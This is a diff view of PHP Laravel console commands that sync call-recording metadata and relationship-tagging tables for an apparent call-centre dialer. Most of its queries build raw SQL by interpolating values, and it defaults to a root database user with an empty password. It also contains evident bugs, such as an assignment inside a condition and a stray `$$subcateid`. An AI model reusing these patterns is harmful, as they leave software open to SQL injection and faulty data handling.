| 130 | $setstrarr=array(); | 151 | $setstrarr=array(); |
| 131 | $setstrarr[]="server_ip='$server_ip'"; | 152 | $setstrarr[]="server_ip='$server_ip'"; |
| 132 | $setstrarr[]="call_id='$qline->id'"; | ||
| 133 | $setstrarr[]="call_start_date='".explode(" ",$fulldate)[0]."'"; | 153 | $setstrarr[]="call_start_date='".explode(" ",$fulldate)[0]."'"; |
| 134 | $setstrarr[]="call_start_time='".explode(" ",$fulldate)[1]."'"; | 154 | $setstrarr[]="call_start_time='".explode(" ",$fulldate)[1]."'"; |
| 135 | $setstrarr[]="call_duration='$length'"; | 155 | $setstrarr[]="call_duration='$length'"; |
| 136 | $setstrarr[]="DNIS='$qline->did'"; | 156 | $setstrarr[]="DNIS='$qline->did'"; |
| 137 | $setstrarr[]="ANI='$qline->number'"; | 157 | $setstrarr[]="ANI='$qline->number'"; |
| 138 | $setstrarr[]="call_direction='$qline->type'"; | 158 | $setstrarr[]="call_id='$qline->id'"; |
| 159 | $setstrarr[]="call_direction='$call_direction'"; | ||
| 160 | $setstrarr[]="transfer_type='$transfer_type'"; | ||
| 139 | $setstrarr[]="cti_var1='$userdatavalue'"; | 161 | $setstrarr[]="cti_var1='$userdatavalue'"; |
| 140 | $setstrarr[]="cti_var2='$qline->client'"; | 162 | $setstrarr[]="cti_var2='$qline->client'"; |
| 141 | $setstrarr[]="cti_var4='$qline->crm_id'"; | 163 | $setstrarr[]="cti_var4='$qline->crm_id'"; |
| 164 | $setstrarr[]="cti_var5='$qline->id'"; | ||
| 165 | $setstrarr[]="cti_var6='$servertype'"; | ||
| 166 | $setstrarr[]="cti_var10='$disposubdispo'"; | ||
| 142 | 167 | ||
| 143 | 168 | ||
| 144 | //send recording file to server | 169 | //send recording file to server |
| ... | @@ -175,7 +200,9 @@ use Illuminate\Database\Schema\Blueprint; | ... | @@ -175,7 +200,9 @@ use Illuminate\Database\Schema\Blueprint; |
| 175 | 200 | ||
| 176 | $setstr=implode(",",$setstrarr); | 201 | $setstr=implode(",",$setstrarr); |
| 177 | DB::connection("conn")->insert(DB::raw("insert into recording_reconcilation set $setstr")); | 202 | DB::connection("conn")->insert(DB::raw("insert into recording_reconcilation set $setstr")); |
| 178 | $data=array($ii++,$server_ip,$qline->id,explode(" ",$fulldate)[0],explode(" ",$fulldate)[1],$length,$qline->did,$qline->number,$qline->type,$userdatavalue,$qline->client,$qline->crm_id,$success_fail,$remote_file); | 203 | |
| 204 | |||
| 205 | $data=array($ii++,$server_ip,explode(" ",$fulldate)[0],explode(" ",$fulldate)[1],$length,$qline->did,$qline->number,$qline->id,$call_direction,$transfer_type,$userdatavalue,$qline->client,$qline->crm_id,$qline->id,$servertype,$disposubdispo,$success_fail,$remote_file); | ||
| 179 | 206 | ||
| 180 | 207 | ||
| 181 | fputcsv($filesave, $data); | 208 | fputcsv($filesave, $data); | ... | ... |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use App\Jobs\KHRMSLib; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | |||
| 15 | use Illuminate\Database\Schema\Blueprint; | ||
| 16 | |||
| 17 | class recording_reconcilation_metadata extends Command | ||
| 18 | { | ||
| 19 | |||
| 20 | /** | ||
| 21 | * The console command name. | ||
| 22 | * | ||
| 23 | * @var string | ||
| 24 | */ | ||
| 25 | protected $signature = 'recording_reconcilation_metadata'; | ||
| 26 | |||
| 27 | /** | ||
| 28 | * The console command description. | ||
| 29 | * | ||
| 30 | * @var string | ||
| 31 | */ | ||
| 32 | protected $description = 'recording_reconcilation_metadata'; | ||
| 33 | |||
| 34 | /** | ||
| 35 | * Execute the console command. | ||
| 36 | * | ||
| 37 | * @return mixed | ||
| 38 | */ | ||
| 39 | public function handle() | ||
| 40 | { | ||
| 41 | $nowts=time(); | ||
| 42 | echo "\n"."start Time---".date('Y-m-d H:i:s')."\n"; | ||
| 43 | |||
| 44 | $logdate=strtotime(date('Y-m-d')." 00:00:00"); | ||
| 45 | //$logdate=strtotime(date("2017-09-01")." 00:00:00"); | ||
| 46 | $logtodate=strtotime(date('Y-m-d')." 23:59:59"); | ||
| 47 | //$logtodate=strtotime(date("2017-11-30")." 23:59:59"); | ||
| 48 | $server_ip=env('app_ip'); | ||
| 49 | $central_ip=env('central_ip'); | ||
| 50 | $wakka = new KHRMSLib(); | ||
| 51 | $conn = array( | ||
| 52 | 'driver' => 'mysql', | ||
| 53 | 'host' => $central_ip, | ||
| 54 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 55 | 'username' => env('DB_USERNAME', 'root'), | ||
| 56 | 'password' => env('DB_PASSWORD', ''), | ||
| 57 | 'charset' => 'utf8', | ||
| 58 | 'collation' => 'utf8_unicode_ci', | ||
| 59 | 'prefix' => '', | ||
| 60 | 'options' => array( | ||
| 61 | PDO::ATTR_TIMEOUT => 5, | ||
| 62 | ), | ||
| 63 | ); | ||
| 64 | Config::set("database.connections.conn", $conn); | ||
| 65 | |||
| 66 | |||
| 67 | if(DB::connection("conn")->getDatabaseName()) | ||
| 68 | { | ||
| 69 | //check maximum id saved in the table | ||
| 70 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(call_id) as maxid from recording_reconcilation_metadata where server_ip='$server_ip'")); | ||
| 71 | if($maxid)$maxids=$maxid[0]->maxid; | ||
| 72 | |||
| 73 | $server_type=DB::connection("conn")->select(DB::raw("SELECT type from server_details where server_ip='$server_ip'")); | ||
| 74 | if($server_type)$servertype=$server_type[0]->type; | ||
| 75 | |||
| 76 | |||
| 77 | echo "\n"."maxids---".$maxids."\n"; | ||
| 78 | /*echo "\n".date("Y-m-d H:i:s",$logdate)."\n"; | ||
| 79 | echo "\n".date("Y-m-d H:i:s",$logtodate)."\n"; | ||
| 80 | echo "\n"."servertype---".$servertype."\n";*/ | ||
| 81 | $qlist=""; | ||
| 82 | |||
| 83 | //query for calllog and recording | ||
| 84 | //$qlist=DB::table('crmcalls_archive')->select('id','created_at','recstartSec','recendSec','userdata','crm_id','type','userstatus','usersubstatus','did','number','client')->where('id','>','$maxids')->get(); | ||
| 85 | |||
| 86 | $qlist=DB::select("SELECT id,created_at,recstartSec,recendSec,userdata,crm_id,type,userstatus,usersubstatus,did,number,client FROM crmcalls_archive where id > '$maxids' "); | ||
| 87 | //$qlist=DB::select("SELECT * FROM crmcalls_archive where id > '$maxids' "); | ||
| 88 | /*$qlist=DB::table('crmcalls_archive')->select('*')->where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logtodate))->get();*/ | ||
| 89 | |||
| 90 | /*$qlist=DB::table('crmcalls_archive')->select('*')->whereIN('id',array('1014744','1014698','1014743','1014752','1014744','1014755','1014774','1014780','1014781','1014782','1014793'))->get();*/ | ||
| 91 | |||
| 92 | |||
| 93 | |||
| 94 | $userdatavalue=""; | ||
| 95 | foreach ($qlist as $qline) | ||
| 96 | { | ||
| 97 | //$file = storage_path()."/app/drec/2017-11/".$qline->id.".gsm";//tobe uploaded | ||
| 98 | |||
| 99 | //echo "\n".date("Y-m",strtotime($qline->created_at))."\n"; | ||
| 100 | $file = storage_path()."/app/drec/".date("Y-m",strtotime($qline->created_at))."/".$qline->id.".gsm"; | ||
| 101 | |||
| 102 | //$remote_file = "/home/buzzworks/recording_test"; | ||
| 103 | $remote_file = "recording_test/".$server_ip."_".$qline->id.".wav"; | ||
| 104 | //echo "\n"."file is exist or not".file_exists($file)."\n"; | ||
| 105 | if (file_exists($file)) | ||
| 106 | { | ||
| 107 | |||
| 108 | $fulldate=date("Y-m-d H:i:s",strtotime($qline->created_at)+330*60); | ||
| 109 | //$talktime=$qline->talkSec+$qline->recstartSec+$qline->recendSec; | ||
| 110 | //$length=round(($qline->waitSec+$qline->callSec+$talktime+$qline->dispoSec)/1000,2); | ||
| 111 | $length=round(($qline->talkSec+$qline->recstartSec+$qline->recendSec)/1000,0); | ||
| 112 | $length=gmdate("H:i:s", $length); | ||
| 113 | |||
| 114 | /*echo "\n"."startdate--".explode(" ",$fulldate)[0]."\n"; | ||
| 115 | echo "\n"."starttime--".explode(" ",$fulldate)[1]."\n"; | ||
| 116 | echo "\n"."call duration--". $length."\n";*/ | ||
| 117 | $userdatavalue=""; | ||
| 118 | |||
| 119 | $userdata=json_decode($qline->userdata,true); | ||
| 120 | |||
| 121 | //print_r(array_values($userdata)); | ||
| 122 | if($userdata) | ||
| 123 | { | ||
| 124 | if(array_values($userdata)!=""||array_values($userdata)!=null) | ||
| 125 | { | ||
| 126 | $userdatavalue=implode(",",array_values($userdata)); | ||
| 127 | } | ||
| 128 | else | ||
| 129 | { | ||
| 130 | $userdatavalue=""; | ||
| 131 | } | ||
| 132 | } | ||
| 133 | $user=$wakka->getPerson($qline->crm_id); | ||
| 134 | $clientcode=$user["peopledata"]["clientcode"]; | ||
| 135 | |||
| 136 | |||
| 137 | $call_direction=""; | ||
| 138 | $disposubdispo=""; | ||
| 139 | $transfer_status=""; | ||
| 140 | if($qline->type=='Manual' || $qline->type='Progressive') | ||
| 141 | { | ||
| 142 | $call_direction="OB-".$qline->type; | ||
| 143 | $transfer_type='null'; | ||
| 144 | } | ||
| 145 | else | ||
| 146 | { | ||
| 147 | $call_direction=$qline->type; | ||
| 148 | $transfer_type='null'; | ||
| 149 | } | ||
| 150 | $disposubdispo=$qline->userstatus.','.$qline->usersubstatus; | ||
| 151 | |||
| 152 | |||
| 153 | $setstrarr=array(); | ||
| 154 | $setstrarr[]="server_ip='$server_ip'"; | ||
| 155 | $setstrarr[]="call_start_date='".explode(" ",$fulldate)[0]."'"; | ||
| 156 | $setstrarr[]="call_start_time='".explode(" ",$fulldate)[1]."'"; | ||
| 157 | $setstrarr[]="call_duration='$length'"; | ||
| 158 | $setstrarr[]="DNIS='$qline->did'"; | ||
| 159 | $setstrarr[]="ANI='$qline->number'"; | ||
| 160 | $setstrarr[]="call_id='$qline->id'"; | ||
| 161 | $setstrarr[]="call_direction='$call_direction'"; | ||
| 162 | $setstrarr[]="transfer_type='$transfer_type'"; | ||
| 163 | $setstrarr[]="cti_var1='$userdatavalue'"; | ||
| 164 | $setstrarr[]="cti_var2='$qline->client'"; | ||
| 165 | $setstrarr[]="cti_var4='$qline->crm_id'"; | ||
| 166 | $setstrarr[]="cti_var5='$qline->id'"; | ||
| 167 | $setstrarr[]="cti_var6='$servertype'"; | ||
| 168 | $setstrarr[]="cti_var10='$disposubdispo'"; | ||
| 169 | $setstrarr[]="customer_id='$clientcode'"; | ||
| 170 | |||
| 171 | |||
| 172 | /*echo "Successfully connect"; | ||
| 173 | |||
| 174 | echo "The file $file exists"; | ||
| 175 | |||
| 176 | echo "successfully uploaded $file\n";*/ | ||
| 177 | //$setstrarr[]="transfer_status='success'"; | ||
| 178 | $setstrarr[]="recording_filename='$file'"; | ||
| 179 | |||
| 180 | |||
| 181 | $setstr=implode(",",$setstrarr); | ||
| 182 | DB::connection("conn")->insert(DB::raw("insert into recording_reconcilation_metadata set $setstr")); | ||
| 183 | } | ||
| 184 | |||
| 185 | |||
| 186 | // close the connection | ||
| 187 | } | ||
| 188 | |||
| 189 | echo "\n"."End Time---".date('Y-m-d H:i:s')."\n"; | ||
| 190 | DB::connection("conn")->disconnect(); | ||
| 191 | } | ||
| 192 | } | ||
| 193 | } | ||
| 194 | |||
| 195 | ?> | ||
| 196 | |||
| 197 |
application/app/Console/Commands/records_details.php
100755 → 100644
File mode changed
application/app/Console/Commands/relationship_data.php
100755 → 100644
File mode changed
| ... | @@ -42,7 +42,7 @@ class relationship_tag extends Command { | ... | @@ -42,7 +42,7 @@ class relationship_tag extends Command { |
| 42 | 42 | ||
| 43 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 43 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 44 | $server_ip=env('app_ip'); | 44 | $server_ip=env('app_ip'); |
| 45 | $central_ip=env('app_ip'); | 45 | $central_ip=env('central_ip'); |
| 46 | 46 | ||
| 47 | $conn = array( | 47 | $conn = array( |
| 48 | 'driver' => 'mysql', | 48 | 'driver' => 'mysql', |
| ... | @@ -62,6 +62,11 @@ class relationship_tag extends Command { | ... | @@ -62,6 +62,11 @@ class relationship_tag extends Command { |
| 62 | 62 | ||
| 63 | if(DB::connection("conn")->getDatabaseName()) | 63 | if(DB::connection("conn")->getDatabaseName()) |
| 64 | { | 64 | { |
| 65 | |||
| 66 | DB::table('relationship_service')->truncate(); | ||
| 67 | DB::table('relationship_category')->truncate(); | ||
| 68 | DB::table('relationship_sub_category')->truncate(); | ||
| 69 | |||
| 65 | $relationshipList = DB::connection("conn")->select(DB::raw("SELECT * FROM relationship_tagging")); | 70 | $relationshipList = DB::connection("conn")->select(DB::raw("SELECT * FROM relationship_tagging")); |
| 66 | 71 | ||
| 67 | $relationshipData = 0; $newService = 0; $newCategory = 0; $newSubCategory = 0; | 72 | $relationshipData = 0; $newService = 0; $newCategory = 0; $newSubCategory = 0; |
| ... | @@ -71,30 +76,34 @@ class relationship_tag extends Command { | ... | @@ -71,30 +76,34 @@ class relationship_tag extends Command { |
| 71 | 76 | ||
| 72 | if(count($service)){ | 77 | if(count($service)){ |
| 73 | $serviceId = $service->id; | 78 | $serviceId = $service->id; |
| 79 | |||
| 74 | }else{ | 80 | }else{ |
| 75 | $addService = RelationshipService::create(['title'=>$list->service]); | 81 | $addService = RelationshipService::create(['title'=>$list->service]); |
| 76 | $serviceId = $addService->id; | 82 | $serviceId = $addService->id; |
| 77 | $newService++; | 83 | $newService++; |
| 78 | } | 84 | } |
| 79 | echo $list->service." : ".$serviceId." - "; | 85 | //echo $list->service." : ".$serviceId." - "; |
| 80 | 86 | ||
| 81 | $category = RelationshipCategory::where('service_id','=',$serviceId)->where('title','=',$list->category)->first(); | 87 | $category = RelationshipCategory::where('service_id','=',$serviceId)->where('title','=',$list->category)->first(); |
| 82 | 88 | ||
| 83 | if(count($category)){ | 89 | if(count($category)){ |
| 84 | $categoryId = $category->id; | 90 | $categoryId = $category->id; |
| 91 | |||
| 85 | }else{ | 92 | }else{ |
| 86 | $addCategory = RelationshipCategory::create(['service_id'=>$serviceId,'title'=>$list->category]); | 93 | $addCategory = RelationshipCategory::create(['service_id'=>$serviceId,'title'=>$list->category]); |
| 87 | $categoryId = $addCategory->id; | 94 | $categoryId = $addCategory->id; |
| 88 | $newCategory++; | 95 | $newCategory++; |
| 89 | } | 96 | } |
| 90 | echo $list->category." : ".$categoryId." - "; | 97 | //echo $list->category." : ".$categoryId." - "; |
| 98 | |||
| 99 | $subCategory = DB::select(DB::raw("SELECT * from relationship_sub_category where category_id = $categoryId and title = '$list->sub_category'")); | ||
| 91 | 100 | ||
| 92 | $subCategory = RelationshipSubCategory::where('category_id','=',$categoryId)->where('title','=',$list->sub_category)->first(); | 101 | //$subCategory = RelationshipSubCategory::where('category_id','=',$categoryId)->where('title','=',$list->sub_category)->first(); |
| 93 | 102 | ||
| 94 | if(count($subCategory)){ | 103 | if(count($subCategory)){ |
| 95 | $subCategoryId = $subCategory->id; | 104 | $subCategoryId = $subCategory->id; |
| 96 | }else{ | 105 | }else{ |
| 97 | $addSubCategory = RelationshipSubCategory::create(['category_id'=>$categoryId,'title'=>$list->sub_category]); | 106 | $addSubCategory = RelationshipSubCategory::create(['category_id'=>$categoryId,'title'=>$list->sub_category,'status'=>$list->status]); |
| 98 | $subCategoryId = $addSubCategory->id; | 107 | $subCategoryId = $addSubCategory->id; |
| 99 | $newSubCategory++; | 108 | $newSubCategory++; |
| 100 | } | 109 | } | ... | ... |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class relationship_tag extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'relationship_tag'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'relationship_tag'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 43 | $server_ip=env('app_ip'); | ||
| 44 | $central_ip=env('central_ip'); | ||
| 45 | |||
| 46 | $conn = array( | ||
| 47 | 'driver' => 'mysql', | ||
| 48 | 'host' => $central_ip, | ||
| 49 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 50 | 'username' => env('DB_USERNAME', 'root'), | ||
| 51 | 'password' => env('DB_PASSWORD', ''), | ||
| 52 | 'charset' => 'utf8', | ||
| 53 | 'collation' => 'utf8_unicode_ci', | ||
| 54 | 'prefix' => '', | ||
| 55 | 'options' => array( | ||
| 56 | PDO::ATTR_TIMEOUT => 5, | ||
| 57 | ), | ||
| 58 | ); | ||
| 59 | Config::set("database.connections.conn", $conn); | ||
| 60 | |||
| 61 | |||
| 62 | if(DB::connection("conn")->getDatabaseName()) | ||
| 63 | { | ||
| 64 | |||
| 65 | $qlist=DB::connection("conn")->select(DB::raw("SELECT * from relationship_tagging")); | ||
| 66 | |||
| 67 | foreach($qlist as $qline) | ||
| 68 | { | ||
| 69 | $setstrarr=array(); | ||
| 70 | |||
| 71 | $idqlist=DB::select(DB::raw("SELECT * from relationship_service where title='$qline->service'")); | ||
| 72 | |||
| 73 | if(!empty($idqlist)){ | ||
| 74 | $servid=$idqlist[0]->id; | ||
| 75 | }else{ | ||
| 76 | $servid=''; | ||
| 77 | } | ||
| 78 | |||
| 79 | |||
| 80 | $setstrarr[]="title='$qline->service'"; | ||
| 81 | $setstrarr[]="status='$qline->status'"; | ||
| 82 | |||
| 83 | $setstr=implode(",",$setstrarr); | ||
| 84 | |||
| 85 | |||
| 86 | if($servid!='') | ||
| 87 | { | ||
| 88 | DB::update(DB::raw("update relationship_service set $setstr where id=$servid")); | ||
| 89 | }else{ | ||
| 90 | DB::insert(DB::raw("insert into relationship_service set $setstr")); | ||
| 91 | //$servid = DB::table('relationship_service')->insertGetId(); | ||
| 92 | } | ||
| 93 | } | ||
| 94 | |||
| 95 | $service_id=DB::select(DB::raw("SELECT * from relationship_service")); | ||
| 96 | |||
| 97 | |||
| 98 | //foreach($qlist as $qline) | ||
| 99 | //{ | ||
| 100 | |||
| 101 | foreach ($service_id as $sid) | ||
| 102 | { | ||
| 103 | $setcatarr=array(); | ||
| 104 | |||
| 105 | $idrlist=DB::select(DB::raw("SELECT * from relationship_category where title='$qline->category' and service_id=$sid->id")); | ||
| 106 | |||
| 107 | if(!empty($idrlist)){ | ||
| 108 | |||
| 109 | $cateid=$idrlist[0]->id; | ||
| 110 | print_r($cateid); | ||
| 111 | echo "update"; | ||
| 112 | }else{ | ||
| 113 | $cateid=''; | ||
| 114 | echo "no id"; | ||
| 115 | } | ||
| 116 | |||
| 117 | $setcatarr[]="service_id='$sid->id'"; | ||
| 118 | $setcatarr[]="title='$qline->category'"; | ||
| 119 | $setcatarr[]="status='$qline->status'"; | ||
| 120 | |||
| 121 | $setcat=implode(",",$setcatarr); | ||
| 122 | |||
| 123 | if($cateid!='') | ||
| 124 | { | ||
| 125 | DB::update(DB::raw("update relationship_category set $setcat where service_id=$cateid")); | ||
| 126 | echo "update"; | ||
| 127 | }else{ | ||
| 128 | DB::insert(DB::raw("insert into relationship_category set $setcat")); | ||
| 129 | echo "insert"; | ||
| 130 | } | ||
| 131 | }echo "prashant1"; | ||
| 132 | |||
| 133 | //} | ||
| 134 | |||
| 135 | |||
| 136 | $category_id=DB::select(DB::raw("SELECT * from relationship_category")); | ||
| 137 | |||
| 138 | foreach($qlist as $qline) | ||
| 139 | { | ||
| 140 | foreach ($category_id as $cid) { | ||
| 141 | |||
| 142 | $subcatarr=array(); | ||
| 143 | $idslist=DB::select(DB::raw("SELECT * from relationship_sub_category where title='$qline->sub_category'")); | ||
| 144 | |||
| 145 | if(!empty($idslist)){ | ||
| 146 | $subcateid=$idslist[0]->id; | ||
| 147 | }else{ | ||
| 148 | $subcateid=''; | ||
| 149 | } | ||
| 150 | $subcatarr[]="category_id='$cid->id'"; | ||
| 151 | $subcatarr[]="title='$qline->sub_category'"; | ||
| 152 | $subcatarr[]="status='$qline->status'"; | ||
| 153 | |||
| 154 | $setsubcat=implode(",",$subcatarr); | ||
| 155 | |||
| 156 | if($subcateid!='') | ||
| 157 | { | ||
| 158 | //DB::update(DB::raw("update relationship_sub_category set $setsubcat where category_id=$subcateid")); | ||
| 159 | }else{ | ||
| 160 | //DB::insert(DB::raw("insert into relationship_sub_category set $setsubcat")); | ||
| 161 | |||
| 162 | //$servid = DB::table('relationship_sub_category')->insertGetId(); | ||
| 163 | } | ||
| 164 | |||
| 165 | } | ||
| 166 | |||
| 167 | } | ||
| 168 | echo "prashant"; | ||
| 169 | |||
| 170 | DB::connection("conn")->disconnect(); | ||
| 171 | |||
| 172 | } | ||
| 173 | |||
| 174 | } | ||
| 175 | |||
| 176 | |||
| 177 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class relationship_tag extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'relationship_tag'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'relationship_tag'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 43 | $server_ip=env('app_ip'); | ||
| 44 | $central_ip=env('central_ip'); | ||
| 45 | |||
| 46 | $conn = array( | ||
| 47 | 'driver' => 'mysql', | ||
| 48 | 'host' => $central_ip, | ||
| 49 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 50 | 'username' => env('DB_USERNAME', 'root'), | ||
| 51 | 'password' => env('DB_PASSWORD', ''), | ||
| 52 | 'charset' => 'utf8', | ||
| 53 | 'collation' => 'utf8_unicode_ci', | ||
| 54 | 'prefix' => '', | ||
| 55 | 'options' => array( | ||
| 56 | PDO::ATTR_TIMEOUT => 5, | ||
| 57 | ), | ||
| 58 | ); | ||
| 59 | Config::set("database.connections.conn", $conn); | ||
| 60 | |||
| 61 | |||
| 62 | if(DB::connection("conn")->getDatabaseName()) | ||
| 63 | { | ||
| 64 | |||
| 65 | $qlist=DB::connection("conn")->select(DB::raw("SELECT * from relationship_tagging")); | ||
| 66 | |||
| 67 | foreach($qlist as $qline) | ||
| 68 | { | ||
| 69 | |||
| 70 | |||
| 71 | $idqlist=DB::select(DB::raw("SELECT title,id from relationship_service where title='$qline->service' and id=$qline->id")); | ||
| 72 | |||
| 73 | if(!empty($idqlist)){ | ||
| 74 | $servid=$idqlist[0]->id; | ||
| 75 | }else{ | ||
| 76 | $servid=''; | ||
| 77 | } | ||
| 78 | $setstrarr=array(); | ||
| 79 | |||
| 80 | $setstrarr[]="title='$qline->service'"; | ||
| 81 | $setstrarr[]="status='$qline->status'"; | ||
| 82 | |||
| 83 | $setstr=implode(",",$setstrarr); | ||
| 84 | if($servid!='') | ||
| 85 | { | ||
| 86 | DB::update(DB::raw("update relationship_service set $setstr where id=$servid")); | ||
| 87 | |||
| 88 | }else{ | ||
| 89 | DB::insert(DB::raw("insert into relationship_service set $setstr")); | ||
| 90 | |||
| 91 | } | ||
| 92 | } | ||
| 93 | |||
| 94 | $service_id=DB::select(DB::raw("SELECT title,id from relationship_service")); | ||
| 95 | |||
| 96 | |||
| 97 | foreach($qlist as $qline) | ||
| 98 | { | ||
| 99 | foreach ($service_id as $sid) { | ||
| 100 | $idrlist=DB::select(DB::raw("SELECT id,title from relationship_category where title='$qline->category' and service_id='$sid->id'")); | ||
| 101 | |||
| 102 | |||
| 103 | if(!empty($idrlist)){ | ||
| 104 | |||
| 105 | $cateid=$idrlist[0]->id; | ||
| 106 | }else{ | ||
| 107 | $cateid=''; | ||
| 108 | } | ||
| 109 | $setcatarr=array(); | ||
| 110 | |||
| 111 | $setcatarr[]="service_id='$sid->id'"; | ||
| 112 | $setcatarr[]="title='$qline->category'"; | ||
| 113 | $setcatarr[]="status='$qline->status'"; | ||
| 114 | |||
| 115 | $setcat=implode(",",$setstrarr); | ||
| 116 | if($cateid!='') | ||
| 117 | { | ||
| 118 | DB::update(DB::raw("update relationship_category set $setcat where id=$cateid")); | ||
| 119 | }else{ | ||
| 120 | DB::insert(DB::raw("insert into relationship_category set $setcat")); | ||
| 121 | |||
| 122 | } | ||
| 123 | } | ||
| 124 | |||
| 125 | } | ||
| 126 | |||
| 127 | $category_id=DB::select(DB::raw("SELECT title,id from relationship_category")); | ||
| 128 | |||
| 129 | foreach($qlist as $qline) | ||
| 130 | { | ||
| 131 | foreach ($category_id as $cid) { | ||
| 132 | $idslist=DB::select(DB::raw("SELECT id,title from relationship_sub_category where title='$qline->category' and category_id='$cid->id'")); | ||
| 133 | |||
| 134 | if(!empty($idslist)){ | ||
| 135 | print_r($idslist); | ||
| 136 | $subcateid=$idslist[0]->id; | ||
| 137 | }else{ | ||
| 138 | $subcateid=''; | ||
| 139 | } | ||
| 140 | $subcatarr[]="category_id='$cid->id'"; | ||
| 141 | $subcatarr[]="title='$qline->sub_category'"; | ||
| 142 | $subcatarr[]="status='$qline->status'"; | ||
| 143 | |||
| 144 | $setsubcat=implode(",",$subcatarr); | ||
| 145 | if($$subcateid!='') | ||
| 146 | { | ||
| 147 | DB::update(DB::raw("update relationship_sub_category set $setsubcat where id=$subcateid")); | ||
| 148 | }else{ | ||
| 149 | DB::insert(DB::raw("insert into relationship_sub_category set $setsubcat")); | ||
| 150 | |||
| 151 | } | ||
| 152 | |||
| 153 | } | ||
| 154 | |||
| 155 | } | ||
| 156 | echo "prashant3<br>"; | ||
| 157 | |||
| 158 | DB::connection("conn")->disconnect(); | ||
| 159 | |||
| 160 | } | ||
| 161 | |||
| 162 | } | ||
| 163 | |||
| 164 | |||
| 165 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class rlpcust_details extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'rlpcust_details'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'rlpcust_details'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | |||
| 43 | $logdate=strtotime('0 day'); | ||
| 44 | |||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | $p11086_cop_rlp_cust_base_uat = "p11086_cop_rlp_cust_base_uat"; | ||
| 48 | $central_ip=env('central_ip'); | ||
| 49 | |||
| 50 | $conn = array( | ||
| 51 | 'driver' => 'mysql', | ||
| 52 | 'host' => $central_ip, | ||
| 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 54 | 'username' => env('DB_USERNAME', 'root'), | ||
| 55 | 'password' => env('DB_PASSWORD', ''), | ||
| 56 | 'charset' => 'utf8', | ||
| 57 | 'collation' => 'utf8_unicode_ci', | ||
| 58 | 'prefix' => '', | ||
| 59 | 'options' => array( | ||
| 60 | PDO::ATTR_TIMEOUT => 5, | ||
| 61 | ), | ||
| 62 | ); | ||
